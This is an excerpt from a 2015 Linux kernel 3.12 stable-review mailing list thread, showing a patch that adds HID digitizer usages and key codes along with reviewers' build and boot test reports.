 #define KEY_DISPLAYTOGGLE	0x1af	/* Turn display (LCD) on and off */
+#define KEY_BRIGHTNESS_TOGGLE	KEY_DISPLAYTOGGLE
 #define KEY_SPELLCHECK		0x1b0   /* AL Spell Check */
 #define KEY_LOGOFF		0x1b1   /* AL Logoff */
 
@@ -720,6 +724,17 @@ struct input_keymap_entry {
 #define BTN_DPAD_LEFT		0x222
 #define BTN_DPAD_RIGHT		0x223
 
+#define KEY_BUTTONCONFIG		0x240	/* AL Button Configuration */
+#define KEY_TASKMANAGER		0x241	/* AL Task/Project Manager */
+#define KEY_JOURNAL		0x242	/* AL Log/Journal/Timecard */
+#define KEY_CONTROLPANEL		0x243	/* AL Control Panel */
+#define KEY_APPSELECT		0x244	/* AL Select Task/Application */
+#define KEY_SCREENSAVER		0x245	/* AL Screen Saver */
+#define KEY_VOICECOMMAND		0x246	/* Listening Voice Command */
+
+#define KEY_BRIGHTNESS_MIN		0x250	/* Set Brightness to Minimum */
+#define KEY_BRIGHTNESS_MAX		0x251	/* Set Brightness to Maximum */
+
 #define BTN_TRIGGER_HAPPY		0x2c0
 #define BTN_TRIGGER_HAPPY1		0x2c0
 #define BTN_TRIGGER_HAPPY2		0x2c1
-- 
2.4.6

[PATCH 3.12 124/124] HID: core: add two new usages for digitizer

[Jiri Slaby]

From: Ping Cheng <pinglinux@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 368c96640d10a145da5f258f2d2833668d4f3629 upstream.

On Feb 17, 2014, two new usages are approved to HID usage Table 18 -
Digitizer Page:

5A	Secondary Barrel Switch		MC	16.4
5B	Transducer Serial Number	SV	16.3.1

This patch adds relevant definitions to hid/input. It also removes
outdated comments in hid.h.

Signed-off-by: Ping Cheng <pingc@wacom.com>
Reviewed-by: Benjamin Tissoires <benjamin.tissoires@redhat.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Cc: Oliver Neukum <ONeukum@suse.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-debug.c | 2 ++
 drivers/hid/hid-input.c | 5 +++++
 include/linux/hid.h     | 7 ++-----
 3 files changed, 9 insertions(+), 5 deletions(-)

diff --git a/drivers/hid/hid-debug.c b/drivers/hid/hid-debug.c
index 53eaa0b6b1d1..436c774cc221 100644
--- a/drivers/hid/hid-debug.c
+++ b/drivers/hid/hid-debug.c
@@ -165,6 +165,8 @@ static const struct hid_usage_entry hid_usage_table[] = {
     {0, 0x53, "DeviceIndex"},
     {0, 0x54, "ContactCount"},
     {0, 0x55, "ContactMaximumNumber"},
+    {0, 0x5A, "SecondaryBarrelSwitch"},
+    {0, 0x5B, "TransducerSerialNumber"},
   { 15, 0, "PhysicalInterfaceDevice" },
     {0, 0x00, "Undefined"},
     {0, 0x01, "Physical_Interface_Device"},
diff --git a/drivers/hid/hid-input.c b/drivers/hid/hid-input.c
index 40113e9db514..8c58c820488c 100644
--- a/drivers/hid/hid-input.c
+++ b/drivers/hid/hid-input.c
@@ -690,9 +690,14 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fiel
 			break;
 
 		case 0x46: /* TabletPick */
+		case 0x5a: /* SecondaryBarrelSwitch */
 			map_key_clear(BTN_STYLUS2);
 			break;
 
+		case 0x5b: /* TransducerSerialNumber */
+			set_bit(MSC_SERIAL, input->mscbit);
+			break;
+
 		default:  goto unknown;
 		}
 		break;
diff --git a/include/linux/hid.h b/include/linux/hid.h
index 00c88fccd162..2cd43971c297 100644
--- a/include/linux/hid.h
+++ b/include/linux/hid.h
@@ -230,11 +230,6 @@ struct hid_item {
 #define HID_DG_BARRELSWITCH	0x000d0044
 #define HID_DG_ERASER		0x000d0045
 #define HID_DG_TABLETPICK	0x000d0046
-/*
- * as of May 20, 2009 the usages below are not yet in the official USB spec
- * but are being pushed by Microsft as described in their paper "Digitizer
- * Drivers for Windows Touch and Pen-Based Computers"
- */
 #define HID_DG_CONFIDENCE	0x000d0047
 #define HID_DG_WIDTH		0x000d0048
 #define HID_DG_HEIGHT		0x000d0049
@@ -243,6 +238,8 @@ struct hid_item {
 #define HID_DG_DEVICEINDEX	0x000d0053
 #define HID_DG_CONTACTCOUNT	0x000d0054
 #define HID_DG_CONTACTMAX	0x000d0055
+#define HID_DG_BARRELSWITCH2	0x000d005a
+#define HID_DG_TOOLSERIALNUMBER	0x000d005b
 
 /*
  * HID report types --- Ouch! HID spec says 1 2 3!
-- 
2.4.6

Re: [PATCH 3.12 000/124] 3.12.45-stable review

[Guenter Roeck]

On 07/28/2015 02:42 AM, Jiri Slaby wrote:
> This is the start of the stable review cycle for the 3.12.45 release.
> There are 124 patches in this series, all will be posted as a response
> to this one.  If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Thu Jul 30 11:41:24 CEST 2015.
> Anything received after that time might be too late.
>

Buils results:
	total: 129 pass: 129 fail: 0
Qemu test results:
	total: 29 pass: 29 fail: 0

Details are available at http://server.roeck-us.net:8010/builders.

Guenter

Re: [PATCH 3.12 000/124] 3.12.45-stable review

[Shuah Khan]

On 07/28/2015 03:42 AM, Jiri Slaby wrote:
> This is the start of the stable review cycle for the 3.12.45 release.
> There are 124 patches in this series, all will be posted as a response
> to this one.  If anyone has any issues with these being applied, please
> let me know.
> 
> Responses should be made by Thu Jul 30 11:41:24 CEST 2015.
> Anything received after that time might be too late.
> 
> The whole patch series can be found in one patch at:
> 	http://kernel.org/pub/linux/kernel/people/jirislaby/stable-review/patch-3.12.45-rc1.xz
> and the diffstat can be found below.
> 

Compiled and booted on my test system. No dmesg regressions.

thanks,
-- Shuah

-- 
Shuah Khan
Sr. Linux Kernel Developer
Open Source Innovation Group
Samsung Research America (Silicon Valley)
shuahkh@osg.samsung.com | (970) 217-8978

Re: [PATCH 3.12 000/124] 3.12.45-stable review

[Jiri Slaby]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

On 07/28/2015, 03:42 PM, Guenter Roeck wrote:
> On 07/28/2015 02:42 AM, Jiri Slaby wrote:
>> This is the start of the stable review cycle for the 3.12.45
>> release. There are 124 patches in this series, all will be posted
>> as a response to this one.  If anyone has any issues with these
>> being applied, please let me know.
>> 
>> Responses should be made by Thu Jul 30 11:41:24 CEST 2015. 
>> Anything received after that time might be too late.
>> 
> 
> Buils results: total: 129 pass: 129 fail: 0 Qemu test results: 
> total: 29 pass: 29 fail: 0
> 
> Details are available at http://server.roeck-us.net:8010/builders.

On 07/28/2015, 05:07 PM, Shuah Khan wrote:
> Compiled and booted on my test system. No dmesg regressions.

Thank you both!

- -- 
js
suse labs
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJVvyGRAAoJEL0lsQQGtHBJCnsQAIyUvCSrbbLxqvlRgtC/4WqJ
RHcHcn+NEw+gEO6TZqyhgFzj0VhCEWlWvVJjcCkB5wC2+qGMvyATd1BKpSj/c+0c
XGNTPKZzgKWaqcdaG2WD7sQh/UVrWRXgjoz9AzBM4SHknEQQ9WG2XiAWRSxLH4+i
u+KfVPzcK8Yz8aDELgcbcu8jD+erltiVK5PEb0xanDe06oJqhYip77jniLeXtzAo
cOE3eS8YE0Lw+AFzFORE3JmPf3zpRJ82qRxerMUKRr3LoAFswYyfE/Y5rvxSC6I/
hngCyP2siGmPR7iwRhXiqboee2H/xA5csOnozPZIIn8N8UFNUelUv3OYc/eANyC+
gV74lrSW88DZviac5Oa5uQ6U1W/VXtEIJ6MTo6Y+Nq1tAqoun0nVP6GbspU5jXFh
WVrNzWPP1/ZMpQWmRwkquqk9hn3CPEplsJNCkOPPYbz2ezGuQUJYkzhUyrjgKeWP
2/j0WhfIcn9cQ8+YGpEWIYW3pLHgyYc5YEMGAB1qqwZlVjpvWI/YhoEBl9cxMvTr
oRBYWfAu4z0CRfMox3XW5wwm2F7yjPA4MaLZtfIHtY4Nfd5mDtz/7WHRJWihAc/0
JwFlnmXJ5lTKXVIBaDM3ygCEFPEPOF3gZ7NSEkeMkDsos8DcKsBzbZ6ZydVs7Lvh
uOWB3YVTx8T1TGY0M3G5
=RnKh
-----END PGP SIGNATURE-----